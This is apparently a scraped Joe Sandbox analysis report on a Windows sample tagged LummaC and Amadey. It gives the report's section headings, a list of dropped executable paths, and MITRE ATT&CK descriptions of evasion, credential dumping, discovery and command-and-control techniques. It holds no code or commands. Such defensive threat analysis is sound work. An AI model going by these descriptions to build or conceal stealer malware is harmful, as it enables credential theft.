Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe

C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe

Windows Analysis Report
file.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre